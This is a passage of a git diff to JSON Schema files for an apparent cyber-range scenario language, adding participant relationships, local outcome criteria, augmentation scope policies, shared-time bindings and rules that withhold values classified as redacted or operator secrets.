+ }, + "right": { + "$ref": "#/$defs/ConcreteCrossingCarrierModel" + }, + "time": { + "const": "untimed", + "title": "Time", + "type": "string" + }, + "visible_labels": { + "maxItems": 10, + "minItems": 10, + "prefixItems": [ + { + "const": "crossing.request", + "type": "string" + }, + { + "const": "crossing.decision.permit", + "type": "string" + }, + { + "const": "crossing.decision.deny", + "type": "string" + }, + { + "const": "crossing.decision.unsupported", + "type": "string" + }, + { + "const": "crossing.transform", + "type": "string" + }, + { + "const": "crossing.declassify", + "type": "string" + }, + { + "const": "crossing.delivery", + "type": "string" + }, + { + "const": "crossing.observation", + "type": "string" + }, + { + "const": "crossing.replay.reject", + "type": "string" + }, + { + "const": "policy.cut.advance", + "type": "string" + } + ], + "title": "Visible Labels", + "type": "array" + } + }, + "required": [ + "kind", + "domains", + "left", + "right", + "visible_labels", + "hidden_labels", + "checker_tau", + "complete_carrier", + "depth_or_sample_bound", + "fresh_operations", + "identity_reuse", + "order", + "time", + "probability", + "concurrency", + "controller_handoff", + "completion" + ], + "title": "ParticipantCrossingParametersModel", + "type": "object" + }, "ParticipantPredicateOpacityParametersModel": { "additionalProperties": false, "allOf": [ @@ -835,6 +1312,60 @@ "$schema": "https://json-schema.org/draft/2020-12/schema", "additionalProperties": false, "allOf": [ + { + "else": { + "properties": { + "relation_id": { + "const": "participant-predicate-opacity" + } + } + }, + "if": { + "properties": { + "parameters": { + "properties": { + "kind": { + "const": "participant-crossing-dpbb/v1" + } + }, + "required": [ + "kind" + ] + } + }, + "required": [ + "parameters" + ] + }, + "then": { + "properties": { + "finite_analysis_scope": { + "const": "declared-complete-finite-carrier" + }, + "left_carrier_ref": { + "const": "sem-230-participant-crossing-abstract" + }, + "observation_projection_ref": { + "const": "participant-crossing-projection" + }, + "observation_projection_revision": { + "const": "rev1" + }, + "profile_id": { + "const": "participant-crossing-dpbb-finite-v1" + }, + "profile_revision": { + "const": "rev2" + }, + "relation_id": { + "const": "divergence-preserving-branching-bisimulation" + }, + "taxonomy_revision": { + "const": "rev8" + } + } + } + }, { "if": { "properties": { @@ -951,7 +1482,22 @@ "type": "string" }, "parameters": { - "$ref": "#/$defs/ParticipantPredicateOpacityParametersModel" + "discriminator": { + "mapping": { + "participant-crossing-dpbb/v1": "#/$defs/ParticipantCrossingParametersModel", + "participant-predicate-opacity/v1": "#/$defs/ParticipantPredicateOpacityParametersModel" + }, + "propertyName": "kind" + }, + "oneOf": [ + { + "$ref": "#/$defs/ParticipantPredicateOpacityParametersModel" + }, + { + "$ref": "#/$defs/ParticipantCrossingParametersModel" + } + ], + "title": "Parameters" }, "profile_id": { "maxLength": 64, @@ -966,7 +1512,10 @@ "type": "string" }, "relation_id": { - "const": "participant-predicate-opacity", + "enum": [ + "participant-predicate-opacity", + "divergence-preserving-branching-bisimulation" + ], "title": "Relation Id", "type": "string" }, diff --git a/contracts/schemas/satisfiability/scenario-satisfiability-evidence-v1.json b/contracts/schemas/satisfiability/scenario-satisfiability-evidence-v1.json index 8d74ef675..98742cce3 100644 --- a/contracts/schemas/satisfiability/scenario-satisfiability-evidence-v1.json +++ b/contracts/schemas/satisfiability/scenario-satisfiability-evidence-v1.json @@ -434,7 +434,7 @@ }, "Agent": { "additionalProperties": false, - "description": "A role-neutral participant in the scenario.\n\nAgents reference existing scenario elements:\n\n- ``entity`` links to the entities section (team/role) and supplies\n identity and role per ADR-020\n- ``starting_accounts`` links to the accounts section\n- ``allowed_subnets`` links to infrastructure entries\n- ``initial_knowledge`` references nodes and infrastructure\n- ``starting_assertions`` links to precondition assertions, giving the\n authoring surface a declarative hook for participant-relevant starting\n state without equating a probe implementation with truth (ACT-601)\n- ``authority_anchors`` links to declared SDL elements (entities,\n relationships, content, etc.) that anchor what the participant is\n allowed or expected to do in scenario meaning (ACT-601, ADR-020)\n- ``operating_scope`` links to targetable named scenario elements\n (subnets, hosts, services, content) defining where the participant\n may act or observe (ACT-601, ADR-020)\n- ``observation_boundaries`` links to declared participant observation\n boundaries that define participant-specific projections of world and\n evidence state (SEM-208)\n- ``interactive_access`` declares the compute-node/channel pairs that may be offered\n to this participant, without inferring a listener, locator, credential,\n operating scope, action authority, or successful realization (DSL-117)\n\nPer ADR-073 the CybORG-inherited ``reward_calculator`` label was removed;\nit was an unbound, unvalidated string and graded reward lives in the\nexperiment/evaluator plane (ADR-055/064/069).", + "description": "A role-neutral participant in the scenario.\n\nAgents reference existing scenario elements:\n\n- ``affiliations`` links to entities without conferring identity or authority\n- ``role`` explicitly selects an exercise role, overriding inherited role\n- ``starting_accounts`` links to the accounts section\n- ``allowed_subnets`` links to infrastructure entries\n- ``initial_knowledge`` references nodes and infrastructure\n- ``starting_assertions`` links to precondition assertions, giving the\n authoring surface a declarative hook for participant-relevant starting\n state without equating a probe implementation with truth (ACT-601)\n- ``authority_anchors`` links to declared SDL elements (entities,\n relationships, content, etc.) that anchor what the participant is\n allowed or expected to do in scenario meaning (ACT-601, ADR-020)\n- ``operating_scope`` links to targetable named scenario elements\n (subnets, hosts, services, content) defining where the participant\n may act or observe (ACT-601, ADR-020)\n- ``observation_boundaries`` links to declared participant observation\n boundaries that define participant-specific projections of world and\n evidence state (SEM-208)\n- ``interactive_access`` declares the compute-node/channel pairs that may be offered\n to this participant, without inferring a listener, locator, credential,\n operating scope, action authority, or successful realization (DSL-117)\n\nPer ADR-073 the CybORG-inherited ``reward_calculator`` label was removed;\nit was an unbound, unvalidated string and graded reward lives in the\nexperiment/evaluator plane (ADR-055/064/069).", "properties": { "actions": { "items": { @@ -446,6 +446,16 @@ "title": "Actions", "type": "array" }, + "affiliations": { + "items": { + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + }, + "title": "Affiliations", + "type": "array" + }, "allowed_subnets": { "items": { "not": { @@ -474,14 +484,6 @@ "title": "Description", "type": "string" }, - "entity": { - "default": "", - "not": { - "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" - }, - "title": "Entity", - "type": "string" - }, "initial_knowledge": { "anyOf": [ { @@ -530,6 +532,18 @@ "title": "Operating Scope", "type": "array" }, + "role": { + "anyOf": [ + { + "$ref": "#/$defs/ExerciseRole" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Role" + }, "starting_accounts": { "items": { "not": { @@ -1258,6 +1272,75 @@ "title": "AssetValueLevel", "type": "string" }, + "AugmentationScopePolicy": { + "additionalProperties": false, + "description": "Authors opt into restrictions; omission imposes no new authoring burden.", + "properties": { + "default": { + "default": "open", + "enum": [ + "open", + "closed" + ], + "title": "Default", + "type": "string" + }, + "scopes": { + "default": [], + "items": { + "$ref": "#/$defs/AugmentationScopeRule" + }, + "maxItems": 256, + "title": "Scopes", + "type": "array" + } + }, + "title": "AugmentationScopePolicy", + "type": "object" + }, + "AugmentationScopeRule": { + "additionalProperties": false, + "description": "One explicit node or concern permission, using a semantic address.", + "properties": { + "namespace": { + "default": [], + "items": { + "maxLength": 64, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)$", + "type": "string" + }, + "maxItems": 31, + "title": "Namespace", + "type": "array" + }, + "permission": { + "enum": [ + "open", + "closed" + ], + "title": "Permission", + "type": "string" + }, + "scope": { + "maxLength": 4096, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "^(?:/(?:[^~/]|~[01])*)*$", + "title": "Scope", + "type": "string" + } + }, + "required": [ + "scope", + "permission" + ], + "title": "AugmentationScopeRule", + "type": "object" + }, "AuthorRealizationPosture": { "description": "Authored default posture, distinct from capability support modes.", "enum": [ @@ -2568,6 +2651,25 @@ "DatabaseSetting": { "additionalProperties": false, "description": "An observed database runtime setting with provenance and sensitivity.\n\nExplicit ``redacted``/``operator_secret`` classifications omit raw values;\ncredential-shaped names remain scenario content unless the author marks the\nvalue withheld.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -2628,6 +2730,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "DatabaseSetting", "type": "object" }, @@ -3361,6 +3476,25 @@ "DnsRuntimeSetting": { "additionalProperties": false, "description": "Bounded DNS runtime setting with provenance and redaction.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -3421,6 +3555,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "DnsRuntimeSetting", "type": "object" }, @@ -5760,6 +5907,25 @@ "ImageBuildArg": { "additionalProperties": false, "description": "An observed build argument with value-sensitivity classification.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -5804,6 +5970,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "ImageBuildArg", "type": "object" }, @@ -5923,6 +6102,25 @@ "ImageEnvironmentDefault": { "additionalProperties": false, "description": "An image-default environment variable with sensitivity classification.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -5967,6 +6165,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "ImageEnvironmentDefault", "type": "object" }, @@ -6333,6 +6544,18 @@ "title": "Assertions", "type": "object" }, + "augmentation_scope": { + "anyOf": [ + { + "$ref": "#/$defs/AugmentationScopePolicy" + }, + { + "type": "null" + } + ], + "default": null, + "x-raes-realization-dimension": false + }, "behavior_specifications": { "additionalProperties": { "$ref": "#/$defs/ParticipantBehaviorSpecification" @@ -6731,6 +6954,108 @@ "title": "KernelBoundary", "type": "string" }, + "LocalOutcomeCriterion": { + "additionalProperties": false, + "description": "An explicitly declared realized effect, never an action status shortcut.", + "properties": { + "criterion_id": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "title": "Criterion Id", + "type": "string" + }, + "effect_id": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "title": "Effect Id", + "type": "string" + }, + "source_id": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "title": "Source Id", + "type": "string" + } + }, + "required": [ + "criterion_id", + "source_id", + "effect_id" + ], + "title": "LocalOutcomeCriterion", + "type": "object" + }, + "LocalOutcomeDefinition": { + "additionalProperties": false, + "description": "All criteria must be evidenced; contradictory observations need correction.", + "properties": { + "category": { + "enum": [ + "task_completion", + "effect_realization" + ], + "title": "Category", + "type": "string" + }, + "conflict_policy": { + "const": "retain_until_explicit_correction", + "title": "Conflict Policy", + "type": "string" + }, + "criteria": { + "items": { + "$ref": "#/$defs/LocalOutcomeCriterion" + }, + "minItems": 1, + "title": "Criteria", + "type": "array" + }, + "criterion_basis": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "title": "Criterion Basis", + "type": "string" + }, + "episode_policy": { + "const": "reset_without_transfer", + "title": "Episode Policy", + "type": "string" + }, + "freshness_policy": { + "const": "exact_observation_cut", + "title": "Freshness Policy", + "type": "string" + }, + "model_version": { + "const": "1.0.0", + "title": "Model Version", + "type": "string" + } + }, + "required": [ + "model_version", + "category", + "criterion_basis", + "criteria", + "conflict_policy", + "freshness_policy", + "episode_policy" + ], + "title": "LocalOutcomeDefinition", + "type": "object" + }, "MixedControlAuthorityStatus": { "description": "Authored authority state for one controller binding.", "enum": [ @@ -7639,25 +7964,63 @@ }, "Objective": { "additionalProperties": false, - "description": "A declarative experiment objective.", - "properties": { - "actions": { - "items": { - "not": { - "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" - }, - "type": "string" + "anyOf": [ + { + "properties": { + "owner": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + } }, - "title": "Actions", - "type": "array" + "required": [ + "owner" + ] }, - "agent": { - "default": "", - "not": { - "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + { + "properties": { + "assigned_participant": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + } }, - "title": "Agent", - "type": "string" + "required": [ + "assigned_participant" + ] + } + ], + "description": "A declarative experiment objective.", + "properties": { + "actions": { + "items": { + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + }, + "title": "Actions", + "type": "array" + }, + "assigned_participant": { + "anyOf": [ + { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Assigned Participant" }, "depends_on": { "items": { @@ -7677,14 +8040,6 @@ "title": "Description", "type": "string" }, - "entity": { - "default": "", - "not": { - "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" - }, - "title": "Entity", - "type": "string" - }, "name": { "default": "", "not": { @@ -7693,6 +8048,22 @@ "title": "Name", "type": "string" }, + "owner": { + "anyOf": [ + { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Owner" + }, "success": { "$ref": "#/$defs/ObjectiveSuccess" }, @@ -8450,6 +8821,34 @@ }, "OutcomeInterpretationRule": { "additionalProperties": false, + "allOf": [ + { + "else": { + "properties": { + "target_bindings": { + "minItems": 1 + } + } + }, + "if": { + "properties": { + "local_outcome": { + "type": "object" + } + }, + "required": [ + "local_outcome" + ] + }, + "then": { + "properties": { + "semantic_version": { + "const": "2.0.0" + } + } + } + } + ], "description": "Explicit SEM-215 rule relating participant-local outcomes to meaning layers.", "properties": { "diagnostics": { @@ -8491,6 +8890,17 @@ "title": "Limitations", "type": "array" }, + "local_outcome": { + "anyOf": [ + { + "$ref": "#/$defs/LocalOutcomeDefinition" + }, + { + "type": "null" + } + ], + "default": null + }, "observation_point_basis": { "not": { "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" @@ -8520,7 +8930,6 @@ "items": { "$ref": "#/$defs/OutcomeInterpretationTargetBinding" }, - "minItems": 1, "title": "Target Bindings", "type": "array" } @@ -10876,6 +11285,160 @@ "title": "ParticipantPreconditionClass", "type": "string" }, + "ParticipantRelationship": { + "additionalProperties": false, + "description": "Directed authored intent; a declaration never grants operational rights.", + "if": { + "properties": { + "control_specification_ref": { + "type": "string" + } + }, + "required": [ + "control_specification_ref" + ] + }, + "properties": { + "authority_basis_refs": { + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Authority Basis Refs", + "type": "array", + "uniqueItems": true + }, + "behavior_specification_refs": { + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Behavior Specification Refs", + "type": "array", + "uniqueItems": true + }, + "control_specification_ref": { + "anyOf": [ + { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Control Specification Ref" + }, + "kind": { + "$ref": "#/$defs/ParticipantRelationshipKind" + }, + "objective_refs": { + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Objective Refs", + "type": "array", + "uniqueItems": true + }, + "observation_boundary_refs": { + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Observation Boundary Refs", + "type": "array", + "uniqueItems": true + }, + "scope_refs": { + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Scope Refs", + "type": "array", + "uniqueItems": true + }, + "source_action_refs": { + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Source Action Refs", + "type": "array", + "uniqueItems": true + }, + "target_action_refs": { + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Target Action Refs", + "type": "array", + "uniqueItems": true + } + }, + "required": [ + "kind" + ], + "then": { + "properties": { + "kind": { + "enum": [ + "delegation", + "supervision" + ] + } + } + }, + "title": "ParticipantRelationship", + "type": "object" + }, + "ParticipantRelationshipKind": { + "description": "Portable relation meanings, independent of backend mechanisms.", + "enum": [ + "coordination", + "delegation", + "cooperation", + "competition", + "supervision" + ], + "title": "ParticipantRelationshipKind", + "type": "string" + }, "ParticipantResourceAccountingMode": { "enum": [ "windowed_counter", @@ -11183,42 +11746,128 @@ "kind": { "$ref": "#/$defs/ParticipantResourceOwnerKind" }, - "ref": { - "minLength": 1, - "not": { - "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" - }, - "title": "Ref", + "ref": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "title": "Ref", + "type": "string" + } + }, + "required": [ + "kind", + "ref" + ], + "title": "ParticipantResourceOwner", + "type": "object" + }, + "ParticipantResourceOwnerKind": { + "enum": [ + "participant", + "deployment_tenant", + "shared_service", + "fleet" + ], + "title": "ParticipantResourceOwnerKind", + "type": "string" + }, + "ParticipantResourceResetMode": { + "enum": [ + "episode", + "time_segment", + "run", + "reconciled" + ], + "title": "ParticipantResourceResetMode", + "type": "string" + }, + "ParticipantSharedTimeBinding": { + "additionalProperties": false, + "description": "Explicit shared-time binding; legacy descriptive references stay opaque.", + "properties": { + "clock_ref": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "title": "Clock Ref", + "type": "string" + }, + "condition_precondition_id": { + "anyOf": [ + { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Condition Precondition Id" + }, + "constraint_ref": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "title": "Constraint Ref", + "type": "string" + }, + "event_point": { + "enum": [ + "start", + "end", + "observed", + "effective" + ], + "title": "Event Point", + "type": "string" + }, + "evidence_mode": { + "enum": [ + "event", + "continuous" + ], + "title": "Evidence Mode", + "type": "string" + }, + "observation_boundary_ref": { + "anyOf": [ + { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Observation Boundary Ref" + }, + "profile": { + "const": "participant-shared-time/v1", + "title": "Profile", "type": "string" } }, "required": [ - "kind", - "ref" + "profile", + "clock_ref", + "constraint_ref", + "event_point", + "evidence_mode" ], - "title": "ParticipantResourceOwner", + "title": "ParticipantSharedTimeBinding", "type": "object" }, - "ParticipantResourceOwnerKind": { - "enum": [ - "participant", - "deployment_tenant", - "shared_service", - "fleet" - ], - "title": "ParticipantResourceOwnerKind", - "type": "string" - }, - "ParticipantResourceResetMode": { - "enum": [ - "episode", - "time_segment", - "run", - "reconciled" - ], - "title": "ParticipantResourceResetMode", - "type": "string" - }, "ParticipantTemporalContract": { "additionalProperties": false, "description": "Typed SEM-213 temporal contract for a participant action.", @@ -11322,6 +11971,17 @@ "default": null, "title": "Reset Boundary" }, + "shared_time_binding": { + "anyOf": [ + { + "$ref": "#/$defs/ParticipantSharedTimeBinding" + }, + { + "type": "null" + } + ], + "default": null + }, "temporal_id": { "not": { "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" @@ -12305,6 +12965,73 @@ }, "Relationship": { "additionalProperties": false, + "allOf": [ + { + "else": { + "properties": { + "participant": { + "type": "null" + } + } + }, + "if": { + "properties": { + "type": { + "const": "participant" + } + }, + "required": [ + "type" + ] + }, + "then": { + "properties": { + "carrier_placement": { + "type": "null" + }, + "database_access": { + "type": "null" + }, + "domain_controller": { + "type": "null" + }, + "domain_join": { + "type": "null" + }, + "forest_trust": { + "type": "null" + }, + "forwarding_edge": { + "type": "null" + }, + "identity_federation": { + "type": "null" + }, + "mail_access": { + "type": "null" + }, + "participant": { + "type": "object" + }, + "properties": { + "maxProperties": 0 + }, + "proxy_upstream": { + "type": "null" + }, + "service_integration": { + "type": "null" + }, + "shared_service": { + "type": "null" + } + }, + "required": [ + "participant" + ] + } + } + ], "description": "A typed directed edge between two named scenario elements.\n\nSource and target can reference any named element in the scenario:\nnodes, features, accounts, entities, or infrastructure entries.\nThe validator checks that both endpoints resolve.\n\nThe ``properties`` dict carries type-specific metadata (e.g.,\n``trust_type: parent-child`` for AD trusts, ``protocol: SAML``\nfor federation). It's a flat dict rather than typed sub-models\nbecause relationship properties vary widely and we don't want\nto gate expressiveness on pre-modeling every variant.\n\n``database_access`` and ``mail_access`` are typed exceptions where\nprotocol/auth details need structural validation rather than prose.\n``forwarding_edge``, ``service_integration``, and ``proxy_upstream`` are\nthe same kind of typed exception for, respectively, a forwarding /\nintel-sync agent's inter-node trust edge (SCN-010 \u00a75.7), a platform\nconsumer-to-engine service integration, and a reverse-proxy/gateway\nroute-to-origin upstream hop. Each keeps protocol/auth/topology facts\nstructurally validated and cross-referable rather than buried in prose.", "properties": { "carrier_placement": { @@ -12403,6 +13130,17 @@ ], "default": null }, + "participant": { + "anyOf": [ + { + "$ref": "#/$defs/ParticipantRelationship" + }, + { + "type": "null" + } + ], + "default": null + }, "properties": { "additionalProperties": { "not": { @@ -13077,7 +13815,8 @@ "forest_trusts", "directory_federates_to", "placed_on_carrier", - "uses_shared_service" + "uses_shared_service", + "participant" ], "title": "RelationshipType", "type": "string" @@ -13843,6 +14582,25 @@ "RuntimeApplicationExposedField": { "additionalProperties": false, "description": "A route-visible fixture secret or intentionally exposed diagnostic field.\n\nThe sensitivity vocabulary is shared with the rest of the runtime surface.\nA ``redacted`` or ``operator_secret`` field must omit its raw ``value``.\nOther values, including credential-shaped fixture facts, are scenario\ncontent needed for range realization and participant observation.", + "if": { + "properties": { + "sensitivity": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "sensitivity" + ] + }, "properties": { "description": { "default": "", @@ -13887,6 +14645,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeApplicationExposedField", "type": "object" }, @@ -14134,13 +14905,18 @@ }, "methods": { "items": { + "maxLength": 128, + "minLength": 1, "not": { "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" }, + "pattern": "^[!#$%&'*+\\-.^_`|~0-9A-Za-z]{1,128}$(?![\\s\\S])", "type": "string" }, + "minItems": 1, "title": "Methods", - "type": "array" + "type": "array", + "uniqueItems": true }, "name": { "default": "", @@ -16626,6 +17402,25 @@ "RuntimeDatastoreSetting": { "additionalProperties": false, "description": "An observed datastore runtime setting with scope, provenance, and class.\n\nExplicit ``redacted`` / ``operator_secret`` classifications omit raw values;\nnames that look credential-bearing remain scenario content unless the\nauthor marks the value withheld.", + "if": { + "properties": { + "classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "classification" + ] + }, "properties": { "classification": { "anyOf": [ @@ -16710,6 +17505,19 @@ "required": [ "setting_id" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeDatastoreSetting", "type": "object" }, @@ -17262,6 +18070,25 @@ } ], "description": "Required runtime environment variable with provenance and sensitivity.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -17341,6 +18168,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeEnvironmentVariable", "type": "object" }, @@ -18102,6 +18942,16 @@ "RuntimeFilesystemEntry": { "additionalProperties": false, "description": "A filesystem entry observed inside a runtime node or container asset.", + "if": { + "properties": { + "presence": { + "pattern": 